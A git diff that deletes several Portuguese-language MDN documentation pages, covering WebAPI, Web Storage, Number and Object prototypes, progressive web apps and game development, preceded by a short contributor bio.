Sebastian Zartner
- Voluntário

- -

Sebastian's first contributions to MDN were in 2007, to German translations, but he soon started working on English ones. He has contributed a lot to both the content and structure of the CSS reference, including creating a JSON API for CSS pages, and macros using this API.

-
-
-
- -
{{TenthCampaignQuote(7)}} {{TenthCampaignQuote(5)}}
-
diff --git a/files/pt-pt/conflicting/web/api/index.html b/files/pt-pt/conflicting/web/api/index.html deleted file mode 100644 index 452ffbbf56..0000000000 --- a/files/pt-pt/conflicting/web/api/index.html +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: WebAPI -slug: conflicting/Web/API -tags: - - Aplicações - - Apps - - DOM - - Firefos OS - - Movel -translation_of: Web/API -translation_of_original: WebAPI -original_slug: Web/WebAPI ---- -

WebAPI é um termo utilizado para referir um conjunto de compatibilidade de dispositivo e APIs de acesso que permitem que as aplicações da Web e o conteúdo acedam ao dispositivo de hardware (tais como estado da bateria ou hardware de vibração do dispositivo), bem como aceder aos dados guardados no dispositivo (tais como o calendário ou lista de contactos). Ao adicionarmos estas APIs, nós esperamos que expanda o que a Web pode fazer hoje, para também incluirem o que apenas as plataformas proprietárias podiam fazer no passado.

- -
-

Nota: para uma breve explicação de cada distintivo, por favor, consulte a documentação pdas aplicações empacotadas.

-
- -
-
-

APIs de Comunicação

- -
-
Network Information API
-
Provides basic information about the current network connection, such as connection speed.
-
Bluetooth {{NonStandardBadge}}
-
The WebBluetooth API provides low-level access to the device's Bluetooth hardware.
-
Mobile Connection API {{NonStandardBadge}}
-
Exposes information about the device's cellular connectivity, such as signal strength, operator information, and so forth.
-
Network Stats API {{NonStandardBadge}}
-
Monitors data usage and exposes this data to privileged applications.
-
Telephony {{NonStandardBadge}}
-
Lets apps place and answer phone calls and use the built-in telephony user interface.
-
WebSMS {{NonStandardBadge}}
-
Lets apps send and receive SMS text messages, as well as to access and manage the messages stored on the device.
-
WiFi Information API {{NonStandardBadge}}
-
A privileged API which provides information about signal strength, the name of the current network, available WiFi networks, and so forth.
-
- -

APIs de acesso ao hardware

- -
-
Ambient Light Sensor API
-
Provides access to the ambient light sensor, which lets your app detect the ambient light level in the vicinity of the device.
-
Battery Status API
-
Provides information about the battery's charge level and whether or not the device is currently plugged in and charging.
-
Geolocation API
-
Provides information about the device's physical location.
-
Pointer Lock API
-
Lets apps lock access to the mouse and gain access to movement deltas rather than absolute coordinates; this is great for gaming.
-
Proximity API
-
Lets you detect proximity of the device to a nearby object, such as the user's face.
-
Device Orientation API
-
Provides notifications when the device's orientation changes.
-
Screen Orientation API
-
Provides notifications when the screen's orientation changes. You can also use this API to let your app indicate what orientation it prefers.
-
Vibration API
-
Lets apps control the device's vibration hardware for things such as haptic feedback in games. This is not intended for things such as notification vibrations. See the Alarm API for that.
-
Camera API {{NonStandardBadge}}
-
Allows apps to take photographs and/or record video using the device's built-in camera.
-
Power Management API {{NonStandardBadge}}
-
Lets apps turn on and off the screen, CPU, device power, and so forth. Also provides support for listening for and inspecting resource lock events.
-
- -

View All...

-
- -
-

APIs de gestão de dados

- -
-
FileHandle API {{NonStandardBadge}}
-
Provides support for writable files with locking support.
-
IndexedDB
-
Client-side storage of structured data with support for high-performance searches.
-
Settings API {{NonStandardBadge}}
-
Lets apps examine and change system-wide configuration options that are permanently stored on the device.
-
- -

Outras APIs

- -
-
Alarm API
-
Lets apps schedule notifications. Also provides support for automatically launching an app at a specific time.
-
Simple Push API
-
Lets the platform send notification messages to specific applications.
-
Push API
-
Gives web applications the ability to receive messages pushed to them from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent.
-
Web Notifications
-
Lets applications send notifications displayed at the system level.
-
Apps API {{NonStandardBadge}}
-
The Open WebApps API provides support for installing and managing Web apps. In addition, support is provided to let apps determine payment information.
-
Web Activities {{NonStandardBadge}}
-
Lets an app delegate an activity to another app; for example, an app might ask another app to select (or create) and return a photo. Typically the user is able to configure what apps are used for which activities.
-
WebPayment API {{NonStandardBadge}}
-
Lets Web content initiate payments and refunds for virtual goods.
-
Browser API {{NonStandardBadge}}
-
Provides support for building a Web browser completely using Web technologies (in essence, a browser within a browser).
-
- -
-
Idle API
-
Lets apps receive notifications when the user is not actively using the device.
-
Permissions API {{NonStandardBadge}}
-
Manages app permissions in a centralized location. Used by the Settings app.
-
Time/Clock API {{NonStandardBadge}}
-
Provides support for setting the current time. The time zone is set using the Settings API.
-
- -

Comunidade de WebAPI

- -

If you need help with these APIs, there are several ways you can talk to other developers making use of them.

- -
    -
  • Consult the WebAPI forum: {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}
  • -
  • Visit the WebAPI IRC channel: #webapi
  • -
- -

Não se esqueça sobre a netiquette...

- - - - -
-
- -

 

- -
- - - - - -
diff --git a/files/pt-pt/conflicting/web/api/web_storage_api/index.html b/files/pt-pt/conflicting/web/api/web_storage_api/index.html deleted file mode 100644 index 50bf4d81b4..0000000000 --- a/files/pt-pt/conflicting/web/api/web_storage_api/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: API de Armazenamento da Web -slug: conflicting/Web/API/Web_Storage_API -tags: - - API - - Armazenamento - - Armazenamento Local - - Armazenamento da Sessão - - Armazenamento da Web - - Referencia -translation_of: Web/API/Web_Storage_API -original_slug: Web/API/API_de_Armazenamento_da_Web ---- -

{{DefaultAPISidebar("Web Storage API")}}

- -

A API de Armazenamento da Web fornece mecanismos pelos quais os navegadores podem armazenar pares chave/valor, de uma maneira muito mais intuitiva do que utilizar cookies.

- -

Armazenamento da Web - conceitos e utilização

- -

The two mechanisms within Web Storage are as follows:

- -
    -
  • sessionStorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores)
  • -
  • localStorage does the same thing, but persists even when the browser is closed and reopened.
  • -
- -

These mechanisms are available via the {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} properties (to be more precise, in supporting browsers the Window object implements the WindowLocalStorage and WindowSessionStorage objects, which the localStorage and sessionStorage properties hang off) — invoking one of these will create an instance of the {{domxref("Storage")}} object, through which data items can be set, retrieved and removed. A different Storage object is used for the sessionStorage and localStorage for each origin — they function and are controlled separately.

- -
-

Nota: From Firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10MB. This has been done to avoid memory issues caused by excessive usage of web storage.

-
- -
-

Nota: Access to Web Storage from third-party IFrames is denied if the user has disabled third-party cookies (Firefox implements this behaviour from version 43 onwards.)

-
- -
-

Nota: Web Storage is not the same as mozStorage (Mozilla's XPCOM interfaces to SQLite) or the Session store API (an XPCOM storage utility for use by extensions).

-
- -

Armazenamento da Web - Interfaces

- -
-
{{domxref("Storage")}}
-
Allows you to set, retrieve and remove data for a specific domain and storage type (session or local.)
-
{{domxref("Window")}}
-
The Web Storage API extends the {{domxref("Window")}} object with two new properties — {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} — which provide access to the current domain's session and local {{domxref("Storage")}} objects respectively, and a {{domxref("Window.onstorage")}} event handler that fires when a storage area changes (e.g. a new item is stored.)
-
{{domxref("StorageEvent")}}
-
The storage event is fired on a document's Window object when a storage area changes.
-
- -

Exemplos

- -

To illustrate some typical web storage usage, we have created a simple example, imaginatively called Web Storage Demo. The landing page provides controls that can be used to customize the colour, font and decorative image. When you choose different options, the page is instantly updated; in addition your choices are stored in localStorage,  so that when you leave the page then load it again later on your choices are remembered.

- -

In addition, we have provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as the {{domxref("StorageEvent")}} is fired.

- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilidade de navegador

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Armazenamento local4{{CompatVersionUnknown}}3.5810.504
Armazenamento da sessão5{{CompatVersionUnknown}}2810.504
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico2.1{{CompatVersionUnknown}}{{ CompatUnknown }}811iOS 3.2
-
- -

All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

- -
-

Nota: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

-
- -

Modos Incógnito / Navegação Privada

- -

Most modern browsers support a privacy option called 'Incognito', 'Private Browsing' or something similar that doesn't store data like history and cookies. This is fundamentally incompatible with Web Storage for obvious reasons. As such, browser vendors are experimenting with different scenarios for how to deal with this incompatibility.

- -

Most browsers have opted for a strategy where storage APIs are still available and seemingly fully functional, with the one big difference that all stored data is wiped after the browser is closed. For these browsers there are still different interpretations of what should be done with existing stored data (from a regular browsing session). Should it be available to read when in Private mode? Then there are some browsers, most notably Safari, that have opted for a solution where storage is available, but is empty and has a quota of 0 bytes assigned, effectively making it impossible to write data to it.

- -

Developers should be aware of these different implementations and take them into account when developing websites depending on Web Storage APIs. For more information please have a look at this WHATWG blog post that specifically deals with this topic.

- -

Consulte também

- - diff --git a/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html b/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html deleted file mode 100644 index 3d7db7d8ae..0000000000 --- a/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: XMLHttpRequest -slug: conflicting/Web/API/XMLHttpRequest -tags: - - AJAX - - AJAX:Outros_Recursos - - Outros_Recursos - - Todas_as_Categorias -original_slug: XMLHttpRequest ---- -

 

- -

Todos os outros recursos

- - diff --git a/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html b/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html deleted file mode 100644 index e00342daeb..0000000000 --- a/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Number.prototype -slug: conflicting/Web/JavaScript/Reference/Global_Objects/Number -tags: - - JavaScript - - Number - - Property - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Number -translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/Number/prototype ---- -
{{JSRef}}
- -

A propriedade Number.prototype representa o protótipo (prototype) para o constructor de {{jsxref("Number")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Descrição

- -

Todas as instâncias de {{jsxref("Number")}} herdam de Number.prototype. O objecto protótipo (prototype) do constructor de {{jsxref("Number")}} pode ser modificado para afectar todas as instâncias de {{jsxref( "Number")}}.

- -

Propriedades

- -
-
Number.prototype.constructor
-
Retorna a função criadora das instâncias deste objecto. Por predifinição este é o objecto {{jsxref("Number")}}.
-
- -

Métodos

- -
-
{{jsxref("Number.prototype.toExponential()")}}
-
Retorna uma representação em string do número em notação científica.
-
{{jsxref("Number.prototype.toFixed()")}}
-
Retorna uma representação em string do número em notação de ponto fixo.
-
{{jsxref("Number.prototype.toLocaleString()")}}
-
Retorna uma string do número numa representação sensível à linguagem. Faz override do método {{jsxref("Object.prototype.toLocaleString()")}}.
-
{{jsxref("Number.prototype.toPrecision()")}}
-
Retorna uma representação em string do número numa precisão especificada em ponto fixo ou notação científica.
-
{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}}
-
Retorna um objecto literal representando o objecto {{jsxref("Number")}} especificado; podes usar este valor para criar um novo objecto. Faz override ao método {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("Number.prototype.toString()")}}
-
Retorna uma representação em string do objecto especificado na base especificada. Faz override ao método {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Number.prototype.valueOf()")}}
-
Retorna o valor primitivo do objecto especificado. Faz override ao método {{jsxref("Object.prototype.valueOf()")}}.
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('ES1')}}{{Spec2('ES1')}}Definição Inicial. Implementado em  JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ES6')}} 
- -

Compatibilidade dos browsers

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari
Suporte básico{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidChrome para AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Suporte básico{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Ver também

- -
    -
  • {{jsxref("Number")}}
  • -
diff --git a/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html b/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html deleted file mode 100644 index ab52d5bfc3..0000000000 --- a/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: Object.prototype -slug: conflicting/Web/JavaScript/Reference/Global_Objects/Object -tags: - - JavaScript - - Object - - Objeto - - Propriedade -translation_of: Web/JavaScript/Reference/Global_Objects/Object -translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/Object/prototype ---- -
{{JSRef}}
- -

A propriedade Object.prototype representa o prototype object {{jsxref("Object","Objeto")}} .

- -
{{js_property_attributes(0, 0, 0)}}
- -

Descrição

- -

Nearly all objects in JavaScript are instances of {{jsxref("Object")}}; a typical object inherits properties (including methods) from Object.prototype, although these properties may be shadowed (a.k.a. overridden). However, an Object may be deliberately created for which this is not true (e.g. by {{jsxref("Object.create", "Object.create(null)")}}), or it may be altered so that this is no longer true (e.g. with {{jsxref("Object.setPrototypeOf")}}).

- -

Changes to the Object prototype object are seen by all objects through prototype chaining, unless the properties and methods subject to those changes are overridden further along the prototype chain.  This provides a very powerful although potentially dangerous mechanism to override or extend object behavior.

- -

Propriedades

- -
-
{{jsxref("Object.prototype.constructor")}}
-
Specifies the function that creates an object's prototype.
-
{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}
-
Points to the object which was used as prototype when the object was instantiated.
-
{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
-
Allows a function to be defined that will be executed when an undefined object member is called as a method.
-
{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}
-
Used to return the number of enumerable properties directly on a user-defined object, but has been removed.
-
{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}
-
Used to point to an object's context, but has been removed.
-
- -

Métodos

- -
-
{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Associates a function with a property that, when accessed, executes that function and returns its return value.
-
{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Associates a function with a property that, when set, executes that function which modifies the property.
-
{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Returns the function associated with the specified property by the {{jsxref("Object.prototype.__defineGetter__()", "__defineGetter__()")}} method.
-
{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Returns the function associated with the specified property by the {{jsxref("Object.prototype.__defineSetter__()", "__defineSetter__()")}} method.
-
{{jsxref("Object.prototype.hasOwnProperty()")}}
-
Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.
-
{{jsxref("Object.prototype.isPrototypeOf()")}}
-
Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.
-
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
-
Returns a boolean indicating if the internal ECMAScript [[Enumerable]] attribute is set.
-
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
-
Returns string containing the source of an object literal representing the object that this method is called upon; you can use this value to create a new object.
-
{{jsxref("Object.prototype.toLocaleString()")}}
-
Calls {{jsxref("Object.toString", "toString()")}}.
-
{{jsxref("Object.prototype.toString()")}}
-
Returns a string representation of the object.
-
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
-
Removes a watchpoint from a property of the object.
-
{{jsxref("Object.prototype.valueOf()")}}
-
Returns the primitive value of the specified object.
-
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
-
Adds a watchpoint to a property of the object.
-
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
-
Used to evaluate a string of JavaScript code in the context of the specified object, but has been removed.
-
- -

Exemplos

- -

When altering the behavior of existing Object.prototype methods, consider injecting code by wrapping your extension before or after the existing logic.  For example, this (untested) code will pre-conditionally execute custom logic before the built-in logic or someone else's extension is executed.

- -

When a function is called, the arguments to the call are held in the array-like "variable" arguments. For example, in the call "myFn(a, b, c)", the arguments within myFn's body will contain 3 array-like elements corresponding to (a, b, c).  When modifying prototypes with hooks, simply pass this & the arguments (the call state) to the current behavior by calling apply() on the function.  This pattern can be used for any prototype, such as Node.prototype, Function.prototype, etc.

- -
var current = Object.prototype.valueOf;
-
-// Since my property "-prop-value" is cross-cutting and isn't always
-// on the same prototype chain, I want to modify Object.prototype:
-Object.prototype.valueOf = function() {
-  if (this.hasOwnProperty('-prop-value')) {
-    return this['-prop-value'];
-  } else {
-    // It doesn't look like one of my objects, so let's fall back on
-    // the default behavior by reproducing the current behavior as best we can.
-    // The apply behaves like "super" in some other languages.
-    // Even though valueOf() doesn't take arguments, some other hook may.
-    return current.apply(this, arguments);
-  }
-}
-
- -

Since JavaScript doesn't exactly have sub-class objects, prototype is a useful workaround to make a “base class” object of certain functions that act as objects. For example:

- -
var Person = function(name) {
-  this.name = name;
-  this.canTalk = true;
-};
-
-Person.prototype.greet = function() {
-  if (this.canTalk) {
-    console.log('Hi, I am ' + this.name);
-  }
-};
-
-var Employee = function(name, title) {
-  Person.call(this, name);
-  this.title = title;
-};
-
-Employee.prototype = Object.create(Person.prototype);
-
-Employee.prototype.greet = function() {
-  if (this.canTalk) {
-    console.log('Hi, I am ' + this.name + ', the ' + this.title);
-  }
-};
-
-var Customer = function(name) {
-  Person.call(this, name);
-};
-
-Customer.prototype = Object.create(Person.prototype);
-
-var Mime = function(name) {
-  Person.call(this, name);
-  this.canTalk = false;
-};
-
-Mime.prototype = Object.create(Person.prototype);
-
-var bob = new Employee('Bob', 'Builder');
-var joe = new Customer('Joe');
-var rg = new Employee('Red Green', 'Handyman');
-var mike = new Customer('Mike');
-var mime = new Mime('Mime');
-
-bob.greet();
-// Hi, I am Bob, the Builder
-
-joe.greet();
-// Hi, I am Joe
-
-rg.greet();
-// Hi, I am Red Green, the Handyman
-
-mike.greet();
-// Hi, I am Mike
-
-mime.greet();
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilidade de navegador

- -
- - -

{{Compat("javascript.builtins.Object.prototype")}}

-
- -

Consultar também

- - diff --git a/files/pt-pt/conflicting/web/progressive_web_apps/index.html b/files/pt-pt/conflicting/web/progressive_web_apps/index.html deleted file mode 100644 index bb2c9e7287..0000000000 --- a/files/pt-pt/conflicting/web/progressive_web_apps/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Identificável -slug: conflicting/Web/Progressive_web_apps -tags: - - Aplicações - - Aplicações da Web modernas - - Aplicações da Web progressivas - - Manifesto - - identificável - - manifesto da Web -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Discoverable -original_slug: Web/Progressive_web_apps/Identificavel ---- -
-
As soon as you publish a new web app, you want the world to know about it. Search engines do ok, but often more control is desired over how your apps are exposed in search results. The new W3C Manifest for a web application can help with this, along with other available features.
- -
-
- -

Objetivos eventuais para as aplicações da Web :

- -
    -
  • To have better representation in search engines
  • -
  • To be easier to expose, catalog and rank
  • -
  • To have metadata useable by browsers to give them special capabilities
  • -
- -

Guias principais

- -

None written as yet; contributions appreciated.

- -

Tecnologias

- - - - - - - - - - - - - - - - - - -
TecnologiaDescriçãoResumo de suporteEspecificações mais recentes
Web app manifestDefines features of an app such as name, icon, splash screen, and theme colors, for use in contexts such as app listings and device home screens.Experimental, Supported in Chrome, limited support in Firefox (more detail){{SpecName('Manifest')}}
- -

Ferramentas

- -

Add links to useful tools/libraries.

- -

Consulte também

- -
-
Open Graph
-
A defacto standard providing a format for specifying similar metadata in the HTML <head> using meta tags. Supported by Facebook and other properties.
-
diff --git a/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html deleted file mode 100644 index d1ad7e7139..0000000000 --- a/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Desenho responsivo -slug: >- - conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -tags: - - Aplicações - - Aplicações da Web progressivas - - Desenvolvimento da Web - - Responsivo -translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -translation_of_original: Web/Progressive_web_apps/Responsive -original_slug: Web/Progressive_web_apps/Responsivo ---- -
-
As aplicações da Web responsivas utilizam tecnologias, tais como consultas de multimédia e viewport para se certificar que as suas UIs irão enquadrar qualquer fator de forma: pc, telemóvel, tablet, ou que quer que venha a seguir.
- -
-
- -

Guias núcleo

- -
-
The building blocks of responsive design
-
Learn the basics of responsive design, an essential topic for modern app layout.
-
Mobile first
-
Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.
-
- -

Tecnologias

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TecnologiaDescriçãoResumo de suporteÚltimas especificações
Media queriesDefines expressions allowing styling to be selectively applied to content depending on viewport size, resolution, orientation, etc.Widespread across modern browsers (more detail)Media Queries Level 4
@viewport/viewport meta tagControls viewport settings, primarily on mobile devices.@viewport: Experimental (more detail)
- Viewport meta tag: Widespread across modern mobile devices
CSS Device Adaptation Module Level 1
FlexboxA very useful CSS feature for creating flexible, responsive layouts.Widespread across modern browsers (more detail)CSS Flexible Box Layout Module Level 1
- -

Ferramentas

- -
-
Modernizr
-
A feature detection library for applying different CSS and JS to your page depending on whether certain CSS/JS features are supported.
-
css3-mediaqueries-js
-
A JavaScript polyfill to add Media Query support to old versions of IE (5+.)
-
- -

Consulte também

- -
-
Graphics for responsive sites
-
Ideas to keep in mind when designing graphics for responsive sites and applications.
-
Responsive navigation patterns
-
How do you make a UI that looks and works as great on a smartphone as it does on the desktop? Learn how to design UIs that change to fit your user's screen.
-
- -
- - - - - -
diff --git a/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html b/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html deleted file mode 100644 index 62d49e8bc5..0000000000 --- a/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Segurança -slug: conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a -tags: - - Aplicações - - Aplicações da Web modernas - - Aplicações da Web progressivas - - HTTPS - - Segurança - - Seguro - - Web -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Safe -original_slug: Web/Progressive_web_apps/Seguro ---- -
-
A plataforma da Web fornece um mecanismo de entrega seguro que evita a espionagem e garante que o conteúdo não foi adulterado - desde que aproveite o HTTPS e desenvolva as suas aplicações com a segurança em mente.
- -
-
- -

Guias principais

- -

Aidna sem guias principais listados. Contribuições são bem-vindas.

- -

Tecnologias

- -

Não são necessárias novas tecnologias — a Web já funciona como isto!

- -

Ferramentas

- -

Interligue aqui para quaisquer ferramentas úteis.

- -

Consulte também

- -

Interligue aqui outra informação útil.

diff --git a/files/pt-pt/games/index.html b/files/pt-pt/games/index.html deleted file mode 100644 index 93a326cd83..0000000000 --- a/files/pt-pt/games/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Desenvolvimento de Jogos -slug: Games -translation_of: Games -original_slug: Jogos ---- -
{{GamesSidebar}}
- -
-

Gaming é uma das áreas mais populares das tecnologias computacionais. Novas ferramentas estão aparecendo constantemente, permitindo o desenvolvimento de jogos cada vez mais poderosos e eficientes, que podem ser executados em qualquer navegador que esteja dentro dos padrões da Web.

-
- -
{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}
- -
-
-

Develop web games

- -

Welcome to the MDN game development center! In this area of the site we provide resources for web developers wanting to develop games. You will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore.

- -

We've also included a reference section so you can easily find information about all the most common APIs used in game development.

- -
Note: Creating games on the web draws on a number of core web technologies such as HTML, CSS, and JavaScript. The Learning Area is a good place to go to get started with the basics.
-
- -
-

Port native games to the Web

- -

If you are a native developer (for example writing games in C++), and you are interested in how you can port your games over to the Web, you should learn more about our Emscripten tool — this is an LLVM to JavaScript compiler, which takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into asm.js, which can be run on the Web.

- -

To get started, see:

- - -
-
- -
-
-

Examples

- -

For a list of web game examples, see our examples page. Also check out games.mozilla.org for more useful resources!

-
-
- -

See also

- -
-
-
-
Build New Games
-
A collaborative site featuring a large number of open web game development tutorials. Has not been very active recently, but still holds some nice resources.
-
Creative JS
-
A collection of impressive JavaScript techniques and experiments, not specific to games, but helpful nonetheless. Has not been very active recently, but still holds some nice resources.
-
Game programming patterns
-
An online book, written by Bob Nystrom, which discusses programming patterns in the context of game development with the aim of helping game developers produce more effective and efficient code.
-
Gamedev.js Weekly
-
Weekly newsletter about HTML5 game development, sent every Friday. Contains the latest articles, tutorials, tools and resources.
-
HTML5 Game Devs Forum
-
Forums for developers, framework creators and publishers. Ask questions, get feedback and help others.
-
-
- -
-
-
HTML5 Game Engine
-
List of the most popular HTML5 game frameworks along with their rating, features and samples.
-
JSBreakouts
-
Compare JavaScript Breakout clones in different frameworks to help you choose the right one for you.
-
Tuts+ Game Development
-
Tutorials and articles about game development in general.
-
HTML5 Gamedev Starter
-
Starter for the new game developers, a curated list of links to various, useful resources around the web.
-
js13kGames
-
JavaScript coding competition for HTML5 game developers with the file size limit set to 13 kilobytes. All the submitted games are available in a readable form on GitHub.
-
Mozilla Hacks blog
-
Games category on the Mozilla Hacks blog containing interesting gamedev related articles.
-
Visual TypeScript game engine
-
TypeScript project based on matter.ts implementation.
-
-
-
- -

See also

- - diff --git a/files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html b/files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html deleted file mode 100644 index 5d539b7442..0000000000 --- a/files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: 2D breakout game using Phaser -slug: Games/Tutorials/2D_breakout_game_Phaser -tags: - - 2D - - Beginner - - Canvas - - Games - - JavaScript - - NeedsTranslation - - Phaser - - TopicStub - - Tutorial -translation_of: Games/Tutorials/2D_breakout_game_Phaser ---- -
{{GamesSidebar}}
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}

- -

In this step-by-step tutorial we create a simple mobile MDN Breakout game written in JavaScript, using the Phaser framework.

- -

Every step has editable, live samples available to play with so you can see what the intermediate stages should look like. You will learn the basics of using the Phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, framework-specific helper functions, animations and tweens, and winning and losing states.

- -

To get the most out of this series of articles you should already have basic to intermediate JavaScript knowledge. After working through this tutorial you should be able to build your own simple Web games with Phaser.

- -

Gameplay screen from the game MDN Breakout created with Phaser where you can use your paddle to bounce the ball and destroy the brick field, with keeping the points and lives.

- -

Lesson details

- -

All the lessons — and the different versions of the MDN Breakout game we are building together — are available on GitHub:

- -
    -
  1. Initialize the framework
  2. -
  3. Scaling
  4. -
  5. Load the assets and print them on screen
  6. -
  7. Move the ball
  8. -
  9. Physics
  10. -
  11. Bounce off the walls
  12. -
  13. Player paddle and controls
  14. -
  15. Game over
  16. -
  17. Build the brick field
  18. -
  19. Collision detection
  20. -
  21. The score
  22. -
  23. Win the game
  24. -
  25. Extra lives
  26. -
  27. Animations and tweens
  28. -
  29. Buttons
  30. -
  31. Randomizing gameplay
  32. -
- -

As a note on learning paths — starting with pure JavaScript is the best way to get a solid knowledge of web game development. If you are not already familiar with pure JavaScript game development, we'd suggest that you first work through this series' counterpart, 2D breakout game using pure JavaScript.

- -

